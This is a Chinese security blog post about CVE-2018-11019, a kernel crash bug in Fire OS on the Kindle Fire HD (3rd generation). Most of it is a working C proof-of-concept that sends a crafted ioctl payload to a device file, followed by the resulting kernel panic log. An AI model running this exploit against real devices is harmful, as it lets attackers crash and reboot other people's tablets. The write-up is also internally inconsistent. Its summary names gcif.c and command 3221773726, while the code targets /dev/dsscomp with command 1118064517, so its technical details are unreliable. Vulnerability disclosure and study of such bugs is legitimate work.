Posted Updated Updated IOT14 minutes read (About 2121 words)0 visits

（CVE-2018-11019）Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞

一、漏洞简介

Amazon Kindle Fire HD（3rd）是美国亚马逊（Amazon）公司的一款Fire OS平板电脑设备。Fire OS是运行在其中的一套专用于Amazon设备的基于Android开发的移动操作系统。kernel是其中的一个内核组件。 Amazon Kindle Fire HD(3rd) Fire OS 4.5.5.3版本中的kernel组件的kernel/omap/drivers/misc/gcx/gcioctl/gcif.c文件存在安全漏洞。攻击者可借助3221773726命令利用该漏洞注入特制的参数，造成内核崩溃。

二、漏洞影响

Fire OS 4.5.5.3

三、复现过程

poc

-

/*
 * This is poc of Kindle Fire HD 3rd
 * A bug in the ioctl interface of device file /dev/dsscomp causes the system crash via IOCTL 1118064517.
 * Related buggy struct name is dsscomp_setup_dispc_data.
 * This Poc should run with permission to do ioctl on /dev/dsscomp.
 *
 * The fowllwing is kmsg of kernel crash infomation:
 *
 *
 */
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>

const static char *driver = "/dev/dsscomp";
static command = 1118064517; 

int main(int argc, char **argv, char **env) {
    unsigned int payload[] = {
    0xffffffff,
    0x00000003,
    0x5d200040,
    0x79900008,
    0x8f5928bd,
    0x78b02422,
    0x00000000,
    0xffffffff,
    0xf4c50400,
    0x007fffff,
    0x8499f562,
    0xffff0400,
    0x001b131d,
    0x60818210,
    0x00000007,
    0xffffffff,
    0x00000000,
    0x9da9041c,
    0xcd980400,
    0x001f03f4,
    0x00000007,
    0x2a34003f,
    0x7c80d8f3,
    0x63102627,
    0xc73643a8,
    0xa28f0665,
    0x00000000,
    0x689e57b4,
    0x01ff0008,
    0x5e7324b1,
    0xae3b003f,
    0x0b174d86,
    0x00000400,
    0x21ffff37,
    0xceb367a4,
    0x00000040,
    0x00000001,
    0xec000f9e,
    0x00000001,
    0x000001ff,
    0x00000000,
    0x00000000,
    0x0000000f,
    0x0425c069,
    0x038cc3be,
    0x0000000f,
    0x00000080,
    0xe5790100,
    0x5b1bffff,
    0x0000d355,
    0x0000c685,
    0xa0070000,
    0x0010ffff,
    0x00a0ff00,
    0x00000001,
    0xff490700,
    0x0832ad03,
    0x00000006,
    0x00000002,
    0x00000001,
    0x81f871c0,
    0x738019cb,
    0xbf47ffff,
    0x00000040,
    0x00000001,
    0x7f190f33,
    0x00000001,
    0x8295769b,
    0x0000003f,
    0x869f2295,
    0xffffffff,
    0xd673914f,
    0x05055800,
    0xed69b7d5,
    0x00000000,
    0x0107ebbd,
    0xd214af8d,
    0xffff4a93,
    0x26450008,
    0x58df0000,
    0xd16db084,
    0x03ff30dd,
    0x00000001,
    0x209aff3b,
    0xe7850800,
    0x00000002,
    0x30da815c,
    0x426f5105,
    0x0de109d7,
    0x2c1a65fc,
    0xfcb3d75f,
    0x00000000,
    0x00000001,
    0x8066be5b,
    0x00000002,
    0xffffffff,
    0x5cf232ec,
    0x680d1469,
    0x00000001,
    0x00000020,
    0xffffffff,
    0x00000400,
    0xd1d12be8,
    0x02010200,
    0x01ffc16f,
    0xf6e237e6,
    0x007f0000,
    0x01ff08f8,
    0x000f00f9,
    0xbad07695,
    0x00000000,
    0xbaff0000,
    0x24040040,
    0x00000006,
    0x00000004,
    0x00000000,
    0xbc2e9242,
    0x009f5f08,
    0x00800000,
    0x00000000,
    0x00000001,
    0xff8800ff,
    0x00000001,
    0x00000000,
    0x000003f4,
    0x6faa8472,
    0x00000400,
    0xec857dd5,
    0x00000000,
    0x00000040,
    0xffffffff,
    0x3f004874,
    0x0000b77a,
    0xec9acb95,
    0xfacc0001,
    0xffff0001,
    0x0080ffff,
    0x3600ff03,
    0x00000001,
    0x8fff7d7f,
    0x6b87075a,
    0x00000000,
    0x41414141,
    0x41414141,
    0x41414141,
    0x41414141,
    0x001001ff,
    0x00000000,
    0x00000001,
    0xff1f0512,
    0x00000001,
    0x51e32167,
    0xc18c55cc,
    0x00000000,
    0xffffffff,
    0xb4aaf12b,
    0x86edfdbd,
    0x00000010,
    0x0000003f,
    0xabff7b00,
    0xffff9ea3,
    0xb28e0040,
    0x000fffff,
    0x458603f4,
    0xffff007f,
    0xa9030f02,
    0x00000001,
    0x002cffff,
    0x9e00cdff,
    0x00000004,
    0x41414141,
    0x41414141,
    0x41414141,
    0x41414141 };

        int fd = 0;
        fd = open(driver, O_RDWR);
        if (fd < 0) {
            printf("Failed to open %s, with errno %d\n", driver, errno);
            system("echo 1 > /data/local/tmp/log");
            return -1;
        }
        
        printf("Try open %s with command 0x%x.\n", driver, command);
        printf("System will crash and reboot.\n");
        if(ioctl(fd, command, &payload) < 0) {
            printf("Allocation of structs failed, %d\n", errno);
            system("echo 2 > /data/local/tmp/log");
            return -1;
        }
        close(fd);
        return 0;
}

崩溃日志

[  164.793151] Unable to handle kernel NULL pointer dereference at virtual address 00000037
[  164.802459] pgd = c26ec000
[  164.805664] [00000037] *pgd=82f42831, *pte=00000000, *ppte=00000000
[  164.813415] Internal error: Oops: 17 [#1] PREEMPT SMP ARM
[  164.819458] Modules linked in: omaplfb(O) pvrsrvkm(O) pvr_logger(O)
[  164.827239] CPU: 1    Tainted: G           O  (3.4.83-gd2afc0bae69 #1)
[  164.834686] PC is at dev_ioctl+0x4ac/0x10c4
[  164.839416] LR is at down_timeout+0x40/0x5c
[  164.844146] pc : [<c03178e8>]    lr : [<c006e9b8>]    psr: 60000013
[  164.844146] sp : c25a1e70  ip : c25a1e50  fp : c25a1f04
[  164.857116] r10: 00000000  r9 : d8c0aca8  r8 : bed5c610
[  164.863128] r7 : c0a25b50  r6 : c25a0000  r5 : bed5c610  r4 : 0000000f
[  164.870391] r3 : 00001403  r2 : 00000000  r1 : 20000013  r0 : 00000000
[  164.877807] Flags: nZCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment user
[  164.885894] Control: 10c5387d  Table: 826ec04a  DAC: 00000015
[  164.892303] 
[  164.892333] PC: 0xc0317868:
[  164.897308] 7868  30d22003 33a03000 e3530000 0a0001c5 e3e0500d eaffff02 e1a0200d e3c26d7f
[  164.907989] 7888  e3c6603f e5963008 e2952008 30d22003 33a03000 e3530000 1a000021 e24b3064
[  164.918670] 78a8  e1a01005 e3a02008 e50b3088 e1a00003 ebfcfa5f e3500000 1a00001e e51b4060
[  164.929351] 78c8  e3020710 e59f7bdc ebf4db32 e1a01000 e2870038 ebf55c25 e3500000 1a0002e0
[  164.939880] 78e8  e5943028 e1a08000 e5940024 e1a02007 e2841024 e5803004 e5830000 e5b23070
[  164.950561] 7908  e5871070 e2420038 e5831004 e5843024 e5842028 ebf55bb9 e50b8060 e50b8064
[  164.961212] 7928  ea000006 e24b1064 e50b1088 e51b0088 e3a01008 ebfd0387 e3a03004 e50b3064
[  164.971771] 7948  e5963008 e2952008 30d22003 33a03000 e3530000 1affffc5 e1a00005 e51b1088
[  164.982299] 
[  164.982330] LR: 0xc006e938:
[  164.987426] e938  e1a01000 0a000007 e3a05000 e2433001 e5843008 e1a00004 eb18d7ad e1a00005
[  164.997955] e958  e24bd014 e89da830 e1a00004 e50b1018 eb18d135 e51b1018 e1a05000 eafffff4
[  165.008636] e978  e1a0c00d e92dd878 e24cb004 e1a04000 e1a05001 eb18d91b e5943008 e3530000
[  165.019317] e998  e1a06000 0a000007 e3a05000 e2433001 e5843008 e1a00004 e1a01006 eb18d794
[  165.029846] e9b8  e1a00005 e89da878 e1a01005 e1a00004 eb18d158 e1a05000 eafffff5 e1a0c00d
[  165.040374] e9d8  e92dd800 e24cb004 e5903000 e1a0c000 e3530000 0a00000b e5910008 e5932008
[  165.051055] e9f8  e1500002 da000003 ea000006 e5932008 e1520000 ba000003 e283c004 e5933004
[  165.061737] ea18  e3530000 1afffff8 e5813004 f57ff05f e3a00000 e58c1000 e89da800 e1a0c00d
[  165.072265] 
[  165.072265] SP: 0xc25a1df0:
[  165.077362] 1df0  00000001 00000004 d454d000 0000001d c25a1e3c c03178e8 60000013 ffffffff
[  165.087890] 1e10  c25a1e5c bed5c610 c25a1f04 c25a1e28 c06a5318 c0008370 00000000 20000013
[  165.098419] 1e30  00000000 00001403 0000000f bed5c610 c25a0000 c0a25b50 bed5c610 d8c0aca8
[  165.109100] 1e50  00000000 c25a1f04 c25a1e50 c25a1e70 c006e9b8 c03178e8 60000013 ffffffff
[  165.119781] 1e70  00000001 00000028 000fffff c25a1ea0 c25a1edc c25a1e90 c0207454 c00bd920
[  165.130340] 1e90  0000001e c2db9600 c25a1ed4 c25a1ea8 ffffffff 0000000f 00000000 ffffffff
[  165.141021] 1eb0  00000002 00000001 00000000 c25a1f14 00000000 00000001 d8c0aca8 d70c5580
[  165.151702] 1ed0  c25a1efc c25a1ee0 c02089fc 00000000 c719ab40 00000004 c719ab40 bed5c610
[  165.162353] 
[  165.162384] IP: 0xc25a1dd0:
[  165.167327] 1dd0  c0070df8 c00795ac c25a0000 00000001 00000004 d454d0f4 60000013 00000001
[  165.178009] 1df0  00000001 00000004 d454d000 0000001d c25a1e3c c03178e8 60000013 ffffffff
[  165.188537] 1e10  c25a1e5c bed5c610 c25a1f04 c25a1e28 c06a5318 c0008370 00000000 20000013
[  165.199249] 1e30  00000000 00001403 0000000f bed5c610 c25a0000 c0a25b50 bed5c610 d8c0aca8
[  165.209899] 1e50  00000000 c25a1f04 c25a1e50 c25a1e70 c006e9b8 c03178e8 60000013 ffffffff
[  165.220581] 1e70  00000001 00000028 000fffff c25a1ea0 c25a1edc c25a1e90 c0207454 c00bd920
[  165.231109] 1e90  0000001e c2db9600 c25a1ed4 c25a1ea8 ffffffff 0000000f 00000000 ffffffff
[  165.241790] 1eb0  00000002 00000001 00000000 c25a1f14 00000000 00000001 d8c0aca8 d70c5580
[  165.252441] 
[  165.252441] FP: 0xc25a1e84:
[  165.257415] 1e84  c25a1e90 c0207454 c00bd920 0000001e c2db9600 c25a1ed4 c25a1ea8 ffffffff
[  165.268066] 1ea4  0000000f 00000000 ffffffff 00000002 00000001 00000000 c25a1f14 00000000
[  165.278717] 1ec4  00000001 d8c0aca8 d70c5580 c25a1efc c25a1ee0 c02089fc 00000000 c719ab40
[  165.289276] 1ee4  00000004 c719ab40 bed5c610 d8c0aca8 00000000 c25a1f74 c25a1f08 c0136044
[  165.299926] 1f04  c0317448 00000000 00000000 00000000 00000001 00000000 dd045190 dcf8c440
[  165.310607] 1f24  c25a1f0c c25a0000 bed5c638 bed5c610 c0085d9e c719ab40 00000004 c25a0000
[  165.321136] 1f44  00000000 c25a1f64 00000000 bed5c610 c0085d9e c719ab40 00000004 c25a0000
[  165.331695] 1f64  00000000 c25a1fa4 c25a1f78 c01365e0 c0135fc4 00000000 00000000 00000400
[  165.342346] 
[  165.342376] R6: 0xc259ff80:
[  165.347320] ff80  00000093 00000093 0000008d 00000002 00000000 00000000 00000000 00000000
[  165.358001] ffa0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  165.368682] ffc0  00000093 00000093 0000008d 00000002 00000000 00000000 00000000 00000000
[  165.379241] ffe0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  165.389770] 0000  00000000 00000002 00000000 d72b0980 c0a0e840 00000001 00000015 c265dc00
[  165.400451] 0020  00000000 c25a0000 c09ddc50 d72b0980 de949300 c1620b40 c25a1b7c c25a1ac8
[  165.411132] 0040  c06a36e4 00000000 00000000 00000000 00000000 00000000 01000000 00000000
[  165.421661] 0060  005634c0 5ebcc27f 00000000 00000000 00000000 00000000 00000000 00000000
[  165.432342] 
[  165.432342] R7: 0xc0a25ad0:
[  165.437316] 5ad0  00010105 01010005 01040901 00040001 ffff0101 00000000 00000000 00040b03
[  165.447875] 5af0  01040101 ffff0100 00000000 00000000 0000ffff 00000000 0e0c0000 01010005
[  165.458526] 5b10  01000105 0000ffff 00000000 0e0c0000 01010005 00000105 01040901 00040001
[  165.469207] 5b30  ffff0101 00000000 00000000 00040b03 01040101 3f3f0100 00010001 01000001
[  165.479736] 5b50  00000000 00000000 00000001 c0a25b5c c0a25b5c c0a25b64 c0a25b64 00000000
[  165.490417] 5b70  00000000 00000001 c0a25b78 c0a25b78 c0a25b80 c0a25b80 00000000 00000000
[  165.500946] 5b90  00000000 c0a25b94 c0a25b94 c0a25b9c c0a25b9c 00000000 00000000 00000001
[  165.511627] 5bb0  c0a25bb0 c0a25bb0 c0a25bb8 c0a25bb8 c0a25bc0 c0a25bc0 c0a25bc8 c0a25bc8
[  165.522186] 
[  165.522186] R9: 0xd8c0ac28:
[  165.527282] ac28  d8c0ac28 d8c0ac28 00000000 00000000 00000000 c06bc674 000200da c09dda58
[  165.537841] ac48  00000000 00000000 d8c0ac50 d8c0ac50 00000000 c0aa5174 c0aa5174 c0aa5148
[  165.548492] ac68  5aefbbda 00000000 00000000 00000000 d8c0ac80 00000000 00000000 00000000
[  165.559020] ac88  00200000 00000000 00000000 d8c0ac94 d8c0ac94 dd3f6080 dd3f6080 00000000
[  165.569702] aca8  000521a4 000003e8 000003e8 00000000 00000000 00000000 c06b9600 dd150400
[  165.580261] acc8  d8c0ad80 dd3ede70 00001064 00000001 0fb00000 5aefbbda 2e19b832 5aefbbda
[  165.590911] ace8  2e19b832 5aefbbda 2e19b832 00000000 00000000 00000000 00000000 00000000
[  165.601593] ad08  00000000 00000000 00000000 00000000 00000001 00000000 00000000 d8c0ad24
[  165.612121] Process gcioctl_poc (pid: 3932, stack limit = 0xc25a02f8)
[  165.619445] Stack: (0xc25a1e70 to 0xc25a2000)
[  165.624359] 1e60:                                     00000001 00000028 000fffff c25a1ea0
[  165.633605] 1e80: c25a1edc c25a1e90 c0207454 c00bd920 0000001e c2db9600 c25a1ed4 c25a1ea8
[  165.642822] 1ea0: ffffffff 0000000f 00000000 ffffffff 00000002 00000001 00000000 c25a1f14
[  165.652038] 1ec0: 00000000 00000001 d8c0aca8 d70c5580 c25a1efc c25a1ee0 c02089fc 00000000
[  165.661102] 1ee0: c719ab40 00000004 c719ab40 bed5c610 d8c0aca8 00000000 c25a1f74 c25a1f08
[  165.670318] 1f00: c0136044 c0317448 00000000 00000000 00000000 00000001 00000000 dd045190
[  165.679565] 1f20: dcf8c440 c25a1f0c c25a0000 bed5c638 bed5c610 c0085d9e c719ab40 00000004
[  165.688781] 1f40: c25a0000 00000000 c25a1f64 00000000 bed5c610 c0085d9e c719ab40 00000004
[  165.697875] 1f60: c25a0000 00000000 c25a1fa4 c25a1f78 c01365e0 c0135fc4 00000000 00000000
[  165.707092] 1f80: 00000400 bed5c638 00010e64 00000000 00000036 c0013e08 00000000 c25a1fa8
[  165.716308] 1fa0: c0013c60 c0136578 bed5c638 00010e64 00000004 c0085d9e bed5c610 bed5c610
[  165.725402] 1fc0: bed5c638 00010e64 00000000 00000036 00000000 00000000 00000000 bed5c624
[  165.734619] 1fe0: 00000000 bed5c5f4 000106a4 0002918c 60000010 00000004 00000000 00000000
[  165.743835] Backtrace: 
[  165.746856] [<c031743c>] (dev_ioctl+0x0/0x10c4) from [<c0136044>] (do_vfs_ioctl+0x8c/0x5b4)
[  165.756256] [<c0135fb8>] (do_vfs_ioctl+0x0/0x5b4) from [<c01365e0>] (sys_ioctl+0x74/0x84)
[  165.765502] [<c013656c>] (sys_ioctl+0x0/0x84) from [<c0013c60>] (ret_fast_syscall+0x0/0x30)
[  165.774780]  r8:c0013e08 r7:00000036 r6:00000000 r5:00010e64 r4:bed5c638
[  165.783203] Code: e2870038 ebf55c25 e3500000 1a0002e0 (e5943028) 
[  165.793060] Board Information: 
[  165.793060]  Revision : 0001
[  165.793060]  Serial	: 0000000000000000
[  165.793090] SoC Information:
[  165.793090]  CPU	: OMAP4470
[  165.793090]  Rev	: ES1.0
[  165.793121]  Type	: HS
[  165.793121]  Production ID: 0002B975-000000CC
[  165.793121]  Die ID	: 1CC60000-50002FFF-0B00935D-11007004
[  165.793121] 
[  165.844757] ---[ end trace aba846a2af6e75b7 ]---
[  165.850097] Kernel panic - not syncing: Fatal exception
[  165.856109] CPU0: stopping
[  165.859252] Backtrace: 
[  165.862274] [<c0018148>] (dump_backtrace+0x0/0x10c) from [<c0698bb8>] (dump_stack+0x18/0x1c)
[  165.871643]  r6:c09ddc50 r5:c09dc844 r4:00000000 r3:c0a0e950
[  165.878784] [<c0698ba0>] (dump_stack+0x0/0x1c) from [<c0019bd8>] (handle_IPI+0x190/0x1c4)
[  165.887908] [<c0019a48>] (handle_IPI+0x0/0x1c4) from [<c00084fc>] (gic_handle_irq+0x58/0x60)
[  165.897399] [<c00084a4>] (gic_handle_irq+0x0/0x60) from [<c06a5380>] (__irq_svc+0x40/0x70)
[  165.906707] Exception stack(0xd8dcfc38 to 0xd8dcfc80)
[  165.912384] fc20:                                                       c153a9f8 00000000
[  165.921600] fc40: 00000002 c153aa08 00000007 c153a9f8 d8d72210 b6eaf010 d8caee34 bab7375f
[  165.930816] fc60: 00000001 d8dcfcac 0009eded d8dcfc80 c010a5b4 c010a5fc 20070013 ffffffff
[  165.940032]  r6:ffffffff r5:20070013 r4:c010a5fc r3:c010a5b4
[  165.947052] [<c010a534>] (follow_page+0x0/0x238) from [<c010af94>] (__get_user_pages+0x13c/0x3f0)
[  165.957031] [<c010ae58>] (__get_user_pages+0x0/0x3f0) from [<c010b350>] (get_user_pages+0x50/0x58)
[  165.967102] [<c010b300>] (get_user_pages+0x0/0x58) from [<c00ff544>] (get_user_pages_fast+0x64/0x7c)
[  165.977233]  r4:d8caee3c
[  165.980468] [<c00ff4e0>] (get_user_pages_fast+0x0/0x7c) from [<c01eeff0>] (fuse_copy_fill+0x1bc/0x238)
[  165.990905] [<c01eee34>] (fuse_copy_fill+0x0/0x238) from [<c01ef0a4>] (fuse_copy_one+0x38/0x68)
[  166.000579]  r6:d8dcdb00 r5:d8dce000 r4:d8dcfe24 r3:00000000
[  166.007690] [<c01ef06c>] (fuse_copy_one+0x0/0x68) from [<c01efe64>] (fuse_dev_do_read+0x3e4/0x69c)
[  166.017761]  r4:dd243c00
[  166.020874] [<c01efa80>] (fuse_dev_do_read+0x0/0x69c) from [<c01f03c0>] (fuse_dev_read+0x84/0x9c)
[  166.030853] [<c01f033c>] (fuse_dev_read+0x0/0x9c) from [<c0124ecc>] (do_sync_read+0xb0/0xf0)
[  166.040222]  r7:00000000 r6:00000000 r5:00000000 r4:00000000
[  166.047363] [<c0124e1c>] (do_sync_read+0x0/0xf0) from [<c01258f4>] (vfs_read+0xa4/0x148)
[  166.056488] [<c0125850>] (vfs_read+0x0/0x148) from [<c01259d8>] (sys_read+0x40/0x78)
[  166.065093]  r8:00040050 r7:b6eaf010 r6:d8e08900 r5:00000000 r4:00000000
[  166.073547] [<c0125998>] (sys_read+0x0/0x78) from [<c0013c60>] (ret_fast_syscall+0x0/0x30)
[  166.082855]  r8:c0013e08 r7:00000003 r6:b6eaf008 r5:b73828a0 r4:b6eaf010
[  166.091217] CPU0 PC (0) : 0xc0019b2c
[  166.095397] CPU0 PC (1) : 0xc0019b2c
[  166.099456] CPU0 PC (2) : 0xc0019b2c
[  166.103515] CPU0 PC (3) : 0xc0019b2c
[  166.107574] CPU0 PC (4) : 0xc0019b2c
[  166.111785] CPU0 PC (5) : 0xc0019b2c
[  166.115814] CPU0 PC (6) : 0xc0019b2c
[  166.119873] CPU0 PC (7) : 0xc0019b2c
[  166.124084] CPU0 PC (8) : 0xc0019b2c
[  166.128112] CPU0 PC (9) : 0xc0019b2c
[  166.132171] CPU1 PC (0) : 0xc003ee38
[  166.136352] CPU1 PC (1) : 0xc003ee54
[  166.140411] CPU1 PC (2) : 0xc003ee54
[  166.144470] CPU1 PC (3) : 0xc003ee54
[  166.148681] CPU1 PC (4) : 0xc003ee54
[  166.152709] CPU1 PC (5) : 0xc003ee54
[  166.156768] CPU1 PC (6) : 0xc003ee54
[  166.160980] CPU1 PC (7) : 0xc003ee54
[  166.165008] CPU1 PC (8) : 0xc003ee54
[  166.169067] CPU1 PC (9) : 0xc003ee54
[  166.173126] 
[  166.175048] Restarting Linux version 3.4.83-gd2afc0bae69 (build@14-use1a-b-39) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Tue Sep 19 22:04:47 UTC 2017
[  166.175079]

（CVE-2018-11019）Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞

http://www.ol4three.com/2020/09/12/IOT/Exploit/Amazon%20Kindle%20Fire%20HD(3rd)/%EF%BC%88CVE-2018-11019%EF%BC%89Amazon-Kindle-Fire-HD-3rd-Fire-OS-kernel%E7%BB%84%E4%BB%B6%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/

Author

ol4three

Posted on

2020-09-12

Updated on

2021-03-03

Licensed under

 

Like this article? Support the author with

Comments

Follow

Catalogue

Links

Categories

Recents

Tags

3601
APP测试1
AWD1
ActiveMQ2
Amazon7
Apache2
Apache-Cocoon-XML1
Apereo Cas1
AppWeb1
Apple T21
BLE2
BadUsb1
C24
CAN1
CTF1
Car1
Cisco2
Cobalt Strike4
Code_audit2
DLL劫持1
DMA1
Dict1
Drozer1
EDR2
Exchange-Server1
Frida5
Glibc Heap1
Google-Hacking1
HTTP请求走私协议1
HWS1
Hook5
Horde Groupware Webmail Edition1
Httpdecrypt1
Huawei1
IOT17
JCG1
MCA1
MCE1
MSF1
Mybatis1
Mysql-python1
NC1
OSS1
PHP反序列化1
PHP网站1
PWN4
PhpStudy1
PineApple-Nano1
Pligg1
PowerSploit1
ProcessPoolExecutor1
Pwn2
Python1
RCE1
SDK1
SGX1
SQLI-labs1
SQL注入1
SSTI1
Smartbi1
Spring Boot1
Sql注入1
Thunderbolt 31
UAF2
Ubertooth one1
VIM1
VPN1
WEB安全2
XiaoMi2
ZTE1
adb1
codeql1
crackme5
crunch1
icarus1
iot1
java反序列化4
junior1
kindeditor1
multiprocessing1
nginx解析漏洞1
objection2
pwnable.kr1
queue1
sangfor4
scrcpy1
sql注入1
struts21
unlink1
三星1
云存储1
代理转发1
内网渗透2
协议分析1
后渗透1
固件1
堆1
天融信2
宏病毒1
宝塔1
小程序1
未授权访问漏洞1
格式化字符串1
正则1
泛微OA1
用友1
红队百科全书1
绿盟1
蓝牙1
路由器1
通达OA3
面试1
默认密码1
齐治堡垒机1

Subscribe for updates

Advertisement

×